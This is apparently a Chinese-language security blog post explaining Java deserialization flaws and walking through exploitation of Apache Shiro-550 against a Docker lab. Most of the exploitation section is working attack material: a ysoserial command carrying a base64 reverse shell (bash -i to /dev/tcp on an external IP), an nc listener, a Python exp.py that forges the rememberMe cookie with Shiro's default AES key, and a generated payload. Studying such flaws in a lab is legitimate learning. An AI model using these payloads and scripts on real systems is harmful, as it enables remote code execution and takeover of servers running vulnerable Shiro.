Java反序列化漏洞（ysoserial工具使用shiro反序列化利用）

Posted 2021-11-04 Ocean:)

Java反序列化机制

Java 通过 writeObject 序列化将对象保存为二进制数据流，通过 readObject 反序列化将序列化后的二进制重新反序列化为 Java 对象，如果一个类 readObject 方法被重写，反序列化时调用的是重写后的 readObject 方法，Java反序列化漏洞就是从可以被恶意利用的 readObject 开始

FileInputStream fileIn = new FileInputStream('1.bin')
ObjectInputStream in = new ObjectInputStream(fileIn)    
e = (Employee) in.readObject();

漏洞原理

以一个简单的 demo 为例

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class demo1{
    public static void main(String args[]) throws Exception{
        //定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        //创建一个包含对象进行反序列化信息的”object”数据文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable {
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        String [] cmd={"cmd","/C","calc"};
        // windows下执行此命令，linux->open /Applications/Calculator.app/
        Runtime.getRuntime().exec(cmd);
    }
}

实现 java.io.Serializable 接可才可以被反序列化，而且所有属性必须是可序列化的(用 transient 关键字修饰的属性除外, 不会参与反序列化)

重写了readObject()函数，定制了反序列化的行为，反序列化时首先会调用 readObject，就像 php 反序列化时调用 __weakup

ac ed 00 05是 java 序列化内容的特征，如果经过 base64 编码，那么相对应的是rO0AB

Java拥有的丰富的第三方类库，Java 反序列化大多也是因为其类库的安全问题而产生的

漏洞利用

ysoserial

• ysoserial

  https://github.com/frohoff/ysoserial/

  一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具

  Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  

  base64编码问题：因为 windows 不能在简单的命令行中使用管道符进行 base，所以推荐使用 linux，base64输出时加命令保证不自动换行

  java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "cmd /c calc" |base64 -w0
  # 还需要进行一次 url 编码
  

  关于 windows 命令使用可以参考链接

• http://jackson-t.ca/runtime-exec-payloads.html

  可以通过这个网站找到 payload 编码的命令

  

Gadget

• CommonsCollection

  1-10对应cc版本

• CommonsBeanUtils

  shiro721中的利用

• JRMP

  JRMPClient

  JRMPListener

• URLDNS

• JNDI

  JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI 支持的服务主要有以下几种：DNS、LDAP、 CORBA 对象服务、RMI 等

受此影响到的 Java 组件

• Shiro：Apache Shiro 是一个强大灵活的开源安全框架，可以完全处理身份验证、授权、加密和会话管理
• Weblogic：确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
• Fastjson/jackson：是Java 库，可以将Java 对象转换为JSON 格式，当然它也可以将JSON 字符串转换为Java 对象
• Apereo Cas：CAS是一种针对Web的企业多语言单点登录解决方案，并尝试成为您的身份验证和授权需求的综合平台
• JDBC：JDBC是Java DataBase Connectivity的缩写，它是Java程序访问数据库的标准接口，使用Java程序访问数据库时，Java代码并不是直接通过TCP连接去访问数据库，而是通过JDBC接口来访问，而JDBC接口则通过JDBC驱动来实现真正对数据库的访问
• XMLDecoder：用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象，其位于java.beans包下
• Yaml：Yaml是一个可读性高、用来表达数据序列化的格式，类似于XML但比XML更简洁，在Java中，有一个用于解析YAML格式的库，即SnakeYaml，是一个完整的YAML1.1规范Processor，支持UTF-8/UTF-16，支持Java对象的序列化/反序列化，支持所有YAML定义的类型
• XStream：XStream是Java类库，用来将对象序列化成XML （JSON）或反序列化为对象
• Websphere：IBM WebSphere® Application Server Community Edition（WASCE）是一款构建于 Apache Geronimo（即 Apache Software Foundation 的开放式源代码应用程序服务器项目）上的、轻量级的 Java 2 Platform，Enterprise Edition（J2EE）应用程序服务器
• JBoos：是一个基于J2EE的开放源代码的应用服务器，JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用
• Jenkins：是一个开源的、提供友好操作界面的持续集成(CI)工具，主要用于持续、自动的构建/测试软件项目、监控外部任务的运行，Jenkins用Java语言编写，可在Tomcat等流行的servlet容器中运行，也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT，构建工具有Maven、Ant、Gradle
• Dubbo：阿里巴巴公司开源的一个高性能优秀的服务框架，使得应用可通过高性能的 RPC 实现服务的输出和输入功能，可以和Spring框架无缝集成
• 当然还有其他组件

Shiro反序列化

Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理

Shiro框架默认指纹特征

在请求包的Cookie中为?rememberMe字段赋任意值，收到返回包的 Set-Cookie 中存在?rememberMe=deleteMe?字段，说明目标有使用Shiro框架，可以进一步测试

shiro-550

漏洞原理

Apache Shiro框架提供了记住我的功能（RememberMe），当接收到未经身份验证的用户请求时，会执行以下操作

1. 从请求数据包中提取 Cookie 中 rememberMe 字段的值
2. 对提取的 cookie 值进行 base64 解码
3. 对 base64 解码后的值进行 AES 解码
4. 对解密后的字节数组调用 ObjectInputStream.readObject() 方法来反序列化

问题就在于 Shiro 1.2.4及之前的版本 中，AES加密的密钥默认硬编码在代码里，如果服务端采用的是默认的加密密钥，攻击者就可以构造一个恶意对象，执行任意代码

漏洞利用

环境用 docker 搭建

# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1
# 启动docker,注意端口是否在安全组中打开
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

访问IP:端口，此页面为搭建成功

有很多图形化的工具,如link，但是为了更好的了解漏洞，分步骤进行利用

检查是否存在默认的key

工具：https://github.com/insightglacier/Shiro_exploit

pip install pycryptodome
 python .\\shiro_exploit.py -u http://url:port

漏洞利用

1. 在 vps 上监听 9999 端口

   nc -lvvp 9999
   

   用来接收反弹的shell

2. 通过ysoserial中JRMP监听模块，监听 6666 端口并执行反弹shell命令

   java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'
   
   # 其中 base 编码通过 http://www.jackson-t.ca/runtime-exec-payloads.html 网站编码，注意此处和端口为上一步 vps 监听端口
   bash -i >& /dev/tcp/121.196.173.254/9999 0>&1
   bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
   

3. 使用修改后的 exp.py 脚本生成 payload

   python2 .\\exp.py 121.196.173.254:6666
   
   # 注意 exp.py 和 ysoserial 要在同一目录，端口是 jrmp 监听端口，生成 payload
   rememberMe=deeUXLJaTn+VopkZgKIWVLd7QRdd+x74oPuD6ThOle3otoxxGCfgZQe6Hc6lQZYh+n1i6MmtqB3YYX7fa6Gezwhf6IXZ8FSAR+cpbL7+mIKEpblcXnO9UQTE5VcnDJxXeYS46PgTmHl2Am+acrGLnNBPdpUcyUppXq1PvAK6NEB63kPOpgQPR0fNJGcx1lwZW/ZZh5A70bz+0BuB+VUXy0IO3CxVzsqx+4TH9vEaYEcgFoEgNpHjbLlOV7sSCXwNzjx1dUUAJ2se3Vg2yTDOCqqf0TW4l8KqbFIWIhtnngKX/kcW2Dpjay0aoqkXRs9chL1bSMaX39Uh+x97KBrqnDJAf3oCl80ItwwP3bQyqSix08d8gipHftzHATVNMRR90hhoF3S4Tfvq/xhky8Znzw==
   

   exp.py

   import sys
   import uuid
   import base64
   import subprocess
   from Crypto.Cipher import AES
   def encode_rememberme(command):
       popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
       BS = AES.block_size
       pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
       key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
       iv = uuid.uuid4().bytes
       encryptor = AES.new(key, AES.MODE_CBC, iv)
       file_body = pad(popen.stdout.read())
       base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
       return base64_ciphertext
   
   if __name__ == '__main__':
       payload = encode_rememberme(sys.argv[1])   
   print "rememberMe={0}".format(payload.decode())
   

4. 构造数据包，伪造cookie，发送Payload

   

   成功反弹shell

不止这一种漏洞利用方式，还可以直接执行命令，还有 shiro 721漏洞，可以看这篇文章 Link，Link2

人菜就要多学习，本次只是对Java反序列化的简单学习，继续努力

参考链接

https://www.vulbox.com/knowledge/detail/?id=11

https://paper.seebug.org/1503/